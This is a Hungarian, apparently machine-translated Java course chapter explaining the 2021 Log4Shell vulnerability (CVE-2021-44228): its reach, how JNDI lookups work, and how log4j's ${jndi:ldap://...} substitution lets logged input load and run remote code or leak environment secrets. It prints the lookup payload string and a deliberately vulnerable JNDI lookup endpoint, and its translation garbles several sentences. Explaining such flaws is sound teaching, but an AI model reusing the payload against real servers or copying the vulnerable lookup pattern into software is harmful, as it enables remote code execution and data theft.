7.1 Botrány
És persze nem lehet nem mesélni arról a történetről, ami egészen a közelmúltban – 2021 végén – történt.

Az Egyesült Államok Kiberbiztonsági és Infrastruktúravédelmi Ügynöksége (CISA) szerint a probléma a Log4Shell
történelem egyik legsúlyosabb sebezhetősége. Igen, a kedvenc könyvtárunkról beszélünk log4j
.
Hangulatos kis könyvtárunk log4j
és a történelem legnagyobb sebezhetősége ? Érdekelt? Akkor hallgass.
7.2 A katasztrófa mértéke
Log4Shell
A Lunasec biztonsági szakértői 2021. december 9-én jelentették be egy kritikus sérülékenység felfedezését (kód: CVE-2021-44228). Az Apache Security Team Java közösségének szakértői ellenőrizték ezeket az információkat, és közzétették a sebezhető Java-könyvtárak listáját. A lista egyszerűen hatalmas volt.
Ha egy Java projekt könyvtárat használt log4j
, akkor azt meglehetősen könnyen fel lehet törni. És tekintettel arra, hogy szinte minden szerverszoftver Java
a log4j
legnépszerűbb java loggerben van írva, a biztonsági szakértők szerint a sebezhetőség a vállalati felhőkörnyezetek 93%-át érintette. Ide tartozik például az Amazon AWS, a Microsoft Azure, a Google Cloud, a Cloudflare, az iCloud, a Minecraft, a Steam és még sok más
Sőt, a sérülékenység nemcsak szerverszoftvereket, hanem számos Java-alkalmazást, valamint hardvergyártókat is érintett. Például az Intel közzétett egy listát 32 feltörhető programról: SDK-k, szerverkarbantartó rendszerek, Linux-eszközök.
Az Nvidia egy biztonsági problémáról szóló jelentést is közzétett, amelyben megemlítette a DGX-kiszolgálókat és a NetQ-eszközöket. Számos frissítést sürgősen kiadott az Apple és a Microsoft.
Durván fogalmazva, egy diák böngészőjének címsorában egy sor elhelyezi a szervert, ha ezt a sort megeszi a naplózó (sok szerveren mindent naplóz HTTP-requests
).
A kód elemzése után kiderült, hogy a biztonsági rés 2013 óta ott ült a könyvtárban, de csak most vették észre. És amikor elkezdtek mélyebbre ásni, felfedeztek egy szakadékot, aminek az alja egyáltalán nem látszik.
7.3 A történelem legsúlyosabb sebezhetősége
Még 2021 decemberében az Egyesült Államok Kiberbiztonsági és Infrastruktúravédelmi Ügynöksége (CISA) kijelentette , hogy Log4Shell
ez a történelem egyik legsúlyosabb sebezhetősége .
Sok más szakértő is hasonló véleményt nyilvánít . Mindenki ismeri ezt a sérülékenységet, és minden korosztályból származó hackerek már használják személyes adatok eltulajdonítására és más típusú támadásokra különféle szervezetek ellen. A jövőben hatalmas hack- és adatszivárgási hullámra várunk.
A katasztrófa mértékét már az is lemérheti, hogy külön oldal működik a Log4j-ről szóló mémekkel , és minden nap érkeznek új képek.

Ez a probléma már régóta velünk van. Biztonsági rés millió, ha nem százmillió számítógépes rendszerben. Minden régi szoftvert frissíteni kell, és legalább ezt a könyvtárat le kell cserélni. De a legtöbb esetben senki sem tudja, hogy melyik könyvtárat és melyik verziót használják a szoftvereikben.
Összességében a számítástechnikai biztonsági szakemberek bérének meredek emelkedésére számítunk.
7.4 A sebezhetőség jellege
A sérülékenység lényegének megértéséhez meg kell értenie a nagy szerverrendszerek elrendezését. Az ilyen szerveralkalmazásokat gyakran különböző szolgáltatásokra bontják, amelyek különböző szervereken találhatók. A JNDI szolgáltatás pedig segíti őket az interakcióban.
A Java név- és címtárinterfész (JNDI)Java API
az objektumok/szolgáltatások név szerinti megkeresésére szolgál . Ezek az objektumok különféle elnevezési szolgáltatásokban vagy könyvtárakban tárolhatók, mint például a Remote Method Invocation (RMI), a Common Object Request Broker Architecture (CORBA), a Lightweight Directory Access Protocol (LDAP) vagy a Domain Name Service (DNS) szolgáltatásban.
A munkavégzés nagyon egyszerű - ez egy egyszerű, Java API
amely csak egy karakterlánc-paramétert - a szolgáltatás nevét - vesz igénybe. Ezzel felveheti a kapcsolatot bármely szolgáltatással, és megkérheti, hogy tegyen valamit, és / vagy küldjön néhány adatot. Például a string a karakterláncban megadott ${jndi:ldap://example.com/file}
adatokból tölti be az adatokat .URL
Ha a paraméter nem megbízható forrásból származik, az osztály távoli betöltéséhez és harmadik féltől származó kódvégrehajtáshoz vezethet . Mi történik abban az esetben Log4j
. A támadó egyszerűen a rosszindulatúhoz irányítja az áldozat Java-alkalmazását rmi/ldap/corba-server
, és válaszul egy rosszindulatú objektumot kap.
Technikailag a probléma itt nem log4j
magában a könyvtárban van, hanem a biztonsági beállításokban, amikor a -val dolgozik JNDI-service
. Mindig ellenőrizni kell, hogy milyen karakterláncnak adunk át InitialContext.lookup()
.
Sebezhető példa JNDI-applications
:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 Túl okos könyvtár
És hol log4j
kérdezed? A helyzet az, hogy a fejlesztők a lehető legkényelmesebbé akarták tenni a vele való munkát, és intelligens naplózást adtak hozzá. Így működik:
Az egész azzal kezdődött, hogy a naplóüzenetek lehetővé tették egy sablon beállítását, ahol az adatokat helyettesítették, például:
log.debug(“User {user} has {count} friends”, user, count);
A régi, adatcsere nélküli verzió így nézett ki:
log.debug( “User “+user +” has “+ count +” friends”);
2013-ban a nézetsablonban megadott intelligens előtagok helyettesítése is bekerült a könyvtárba ${prefix:name}
. Például a karakterlánc “${java:version}”
a következőre lesz konvertálva «Java version 1.7.0_67»
. Ó, milyen kényelmes.
A felismert kifejezések között szerepel, ${jndi:<lookup>}
ahol a jndi protokoll után megadható a keresés LDAP
: tetszőleges URL-address
lekérdezhető és objektumadatként betölthető Java
.
Ez az egész megközelítés standard problémája JDK
: automatikusan deszerializál egy objektumot, amelyhez egy hivatkozást be lehet állítani url formájában. Ebben az esetben nem csak az objektum adatai töltődnek be a távoli erőforrásból, hanem az osztályának kódja is.
A hack így néz ki:
- Rosszindulatú kódot tartalmazó fájl letöltése
- A fájl sorozatszámot tartalmaz
Java an object
(és annak osztályát) - Az osztály betöltődik
Java-machine
- Létrejön egy rosszindulatú osztály objektuma
- Az objektum konstruktorát hívják
- Mind a konstruktor, mind a statikus inicializálás lehetővé teszi a rosszindulatú osztálykódok végrehajtását
Ha a naplózás alatt álló sorban log4j
van valami hasonló ${jndi:ldap://example.com/file}
, akkor log4j
onnan tölti le az adatokat, URL-address
amikor csatlakozik az internethez . Egy naplózott karakterlánc beírásával a támadó letölthet és végrehajthat egy nyilvános helyen tárolt rosszindulatú kódot URL-address
.
Még akkor is, ha az adatvégrehajtás le van tiltva, a támadó hozzáférhet adatokhoz, például titkos környezeti változókhoz, ha elhelyezi azokat egy URL-address
, amely lecseréli és elküldi a támadó szerverére.
A jó hír az, hogy a problémát gyorsan megoldották a könyvtárban .
A rossz hír az, hogy világszerte több millió szerveren még mindig ennek a könyvtárnak a régi verziója fut ...
GO TO FULL VERSION